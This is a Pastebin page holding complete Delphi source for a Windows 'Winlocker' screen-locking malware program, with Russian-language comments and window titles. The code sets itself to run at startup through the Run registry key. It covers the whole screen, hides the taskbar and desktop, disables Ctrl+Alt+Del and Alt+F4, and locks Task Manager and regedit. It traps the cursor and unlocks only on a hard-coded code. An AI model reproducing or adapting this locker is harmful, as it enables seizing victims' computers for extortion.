appo

Winlocker 02-02-2014

Feb 2nd, 2014
267
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     unit Unit1;
  2.      
  3.     interface
  4.      
  5.     uses
  6.       Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.       Dialogs, StdCtrls, Buttons, ExtCtrls,registry, OleServer, WordXP;
  8.      
  9.     type
  10.       TForm1 = class(TForm)
  11.         Edit1: TEdit;
  12.         Button2: TButton;
  13.         Label3: TLabel;
  14.         Label7: TLabel;
  15.         Timer1: TTimer;
  16.         Button4: TButton;
  17.         Button5: TButton;
  18.         Button6: TButton;
  19.         Button8: TButton;
  20.         Button9: TButton;
  21.         Button3: TButton;
  22.         Button7: TButton;
  23.         Button16: TButton;
  24.         Button17: TButton;
  25.         Button18: TButton;
  26.         Timer2: TTimer;
  27.         Button1: TButton;
  28.         Button10: TButton;
  29.         ListBox1: TListBox;
  30.         procedure FormActivate(Sender: TObject);
  31.         procedure FormCreate(Sender: TObject);
  32.         procedure Edit1Change(Sender: TObject);
  33.         procedure FormKeyDown(Sender: TObject; var Key: Word;
  34.           Shift: TShiftState);
  35.         procedure Edit1KeyDown(Sender: TObject; var Key: Word;
  36.           Shift: TShiftState);
  37.         procedure Edit2KeyDown(Sender: TObject; var Key: Word;
  38.           Shift: TShiftState);
  39.         procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  40.         procedure Button2Click(Sender: TObject);
  41.         procedure Timer1Timer(Sender: TObject);
  42.         procedure Button4Click(Sender: TObject);
  43.         procedure Button5Click(Sender: TObject);
  44.         procedure Button6Click(Sender: TObject);
  45.         procedure Button8Click(Sender: TObject);
  46.         procedure Button9Click(Sender: TObject);
  47.         procedure Button3Click(Sender: TObject);
  48.         procedure Button7Click(Sender: TObject);
  49.         procedure Button16Click(Sender: TObject);
  50.         procedure Button17Click(Sender: TObject);
  51.         procedure Button18Click(Sender: TObject);
  52.         procedure Timer2Timer(Sender: TObject);
  53.         procedure Button10Click(Sender: TObject);
  54.       private
  55.         { Private declarations }
  56.       procedure CreateParams(var T: TCreateParams); override;
  57.       procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
  58.       public
  59.         { Public declarations }
  60.       end;
  61.      
  62.     var
  63.       Form1: TForm1;
  64.       m_OldMHook: HHook = 0;
  65.       k_OldKBHook: HHook = 0;
  66.      
  67.     implementation
  68.      
  69.      
  70.      
  71.     {$R *.dfm}
  72.      
  73.     function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
  74.     begin
  75.     if code < 0
  76.     then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
  77.     else Result := 1;
  78.     end;
  79.      
  80.     procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
  81.       const RegionHandle: THandle);
  82.     var
  83.     FirstRegion, CombineRegion : THandle;
  84.     begin
  85.     FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
  86.     CombineRegion := FirstRegion;
  87.     SetWindowRGN(RegionHandle, CombineRegion, true);
  88.     end;
  89.      
  90.     procedure TForm1.Button3Click(Sender: TObject);
  91.     begin
  92.     edit1.text:=edit1.text+'6';
  93.     end;
  94.      
  95.     procedure TForm1.Button4Click(Sender: TObject);
  96.     begin
  97.     edit1.text:=edit1.text+'1';
  98.     end;
  99.      
  100.     procedure TForm1.Button5Click(Sender: TObject);
  101.     begin
  102.     edit1.text:=edit1.text+'2';
  103.     end;
  104.      
  105.     procedure TForm1.Button6Click(Sender: TObject);
  106.     begin
  107.     edit1.text:=edit1.text+'3';
  108.     end;
  109.      
  110.     procedure TForm1.Button7Click(Sender: TObject);
  111.     begin
  112.     edit1.text:=edit1.text+'7';
  113.     end;
  114.      
  115.     procedure TForm1.Button8Click(Sender: TObject);
  116.     begin
  117.     edit1.text:=edit1.text+'4';
  118.     end;
  119.      
  120.     procedure TForm1.Button9Click(Sender: TObject);
  121.     begin
  122.     edit1.text:=edit1.text+'5';
  123.     end;
  124.      
  125.     procedure TForm1.CreateParams(var T : TCreateParams);
  126.     begin
  127.     inherited Createparams(T);
  128.     with T do
  129.       Style := (Style or WS_POPUP) and not WS_DLGFRAME;
  130.     end;
  131.      
  132.     procedure TForm1.FormActivate(Sender: TObject);
  133.     var
  134.     hTaskBar : THandle;
  135.     begin
  136.       Edit1.Clear;
  137.     //Screen Size
  138.       form1.Height:=screen.Height;
  139.       form1.Width:=screen.Width;
  140.     //Disable ALT + CTRL + DEl ALT + TAB CTRL + ESC
  141.       SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
  142.     //Remove the Taskbar
  143.       hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  144.       ShowWindow(hTaskBar, SW_HIDE);
  145.     //Remove icons from the desktop
  146.       ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
  147.     end;
  148.      
  149.     procedure TForm1.FormCreate(Sender: TObject);
  150.     var
  151.     reg: tregistry;
  152.     begin
  153.     CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
  154.     Reg:=TRegistry.Create;
  155.     Reg.RootKey:=HKEY_CURRENT_USER;
  156.     Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  157.     Reg.WriteString('Media','C:\Program Files\Windows Media Player\stop.exe');
  158.     Reg.CloseKey;
  159.     end;
  160.      
  161.      
  162.      
  163.     procedure antio;
  164.     var
  165.     tit:HWND;
  166.     begin
  167.     tit:=FindWindow(nil, 'Диспетчер задач Windows');
  168.     if (tit>0) then
  169.     PostMessage(tit, WM_QUIT, 1, 0);
  170.     tit:=FindWindow(nil, 'Запуск программы');
  171.     if (tit>0) then
  172.     PostMessage(tit, WM_QUIT, 1, 0);
  173.     tit:=FindWindow(nil, 'Мой компьютер');
  174.     if (tit>0) then
  175.     PostMessage(tit, WM_QUIT, 1, 0);
  176.     end;
  177.      
  178.     procedure TForm1.Edit1Change(Sender: TObject);
  179.     begin
  180.         Edit1.PasswordChar:='*';
  181.     end;
  182.      
  183.      
  184.      
  185.     procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  186.       Shift: TShiftState);
  187.     begin
  188.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  189.     end;
  190.      
  191.     procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
  192.       Shift: TShiftState);
  193.     begin
  194.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  195.     end;
  196.      
  197.     procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
  198.       Shift: TShiftState);
  199.     begin
  200.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  201.     end;
  202.      
  203.     procedure TForm1.Button10Click(Sender: TObject);
  204.     begin
  205.     edit1.text:=edit1.text+'-';
  206.     end;
  207.      
  208.     procedure TForm1.Button16Click(Sender: TObject);
  209.     begin
  210.     edit1.text:=edit1.text+'8';
  211.     end;
  212.      
  213.     procedure TForm1.Button17Click(Sender: TObject);
  214.     begin
  215.     edit1.text:=edit1.text+'9';
  216.     end;
  217.      
  218.     procedure TForm1.Button18Click(Sender: TObject);
  219.     begin
  220.     edit1.text:=edit1.text+'0';
  221.     end;
  222.      
  223.     procedure TForm1.Button2Click(Sender: TObject);
  224.     var
  225.       hTaskBar : THandle;
  226.       Login:string[10];
  227.       Password:string[20];
  228.     begin
  229.       Login:=edit1.text;
  230.     If (Login='1000') then
  231.     begin
  232.     DeleteFile('C:\Program Files\Windows Media Player\stop.exe');
  233.     ///////////////////////////////////////////////////////////////
  234.     //включаем alt+ctrl+del alt+tab ctrl+esc
  235.       SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
  236.     //Показываем иконки на рабочем столе
  237.       ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
  238.     //Показываем Панель Задач
  239.       hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  240.       ShowWindow(hTaskBar, SW_SHOWNORMAL);
  241.     //Закрываем прогу
  242.     Close;
  243.     ///////////////////////////////////////////////////////////////
  244.     end
  245.     else
  246.     begin
  247.       Messagedlg('Неверные Коды',mterror,[mbok],0);
  248.       Edit1.Clear;
  249.     end;
  250.     end;
  251.      
  252.     procedure TForm1.Timer1Timer(Sender: TObject);
  253.     begin
  254.     Form1.FormStyle:=fsStayOnTop;
  255.     fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive);
  256.     fileopen('C:\windows\regedit.exe',fmshareexclusive);
  257.     end;
  258.      
  259.     procedure TForm1.Timer2Timer(Sender: TObject);
  260.     var
  261.     curs: TRect;
  262.     begin
  263.     antio;
  264.      
  265.     SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
  266.     curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
  267.     ClipCursor(@curs);
  268.     end;
  269.      
  270.     procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  271.     begin
  272.     CanClose:= false;
  273.     end;
  274.  
  275.     end.
  276.  
  277. // Coded by Agulzex //
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×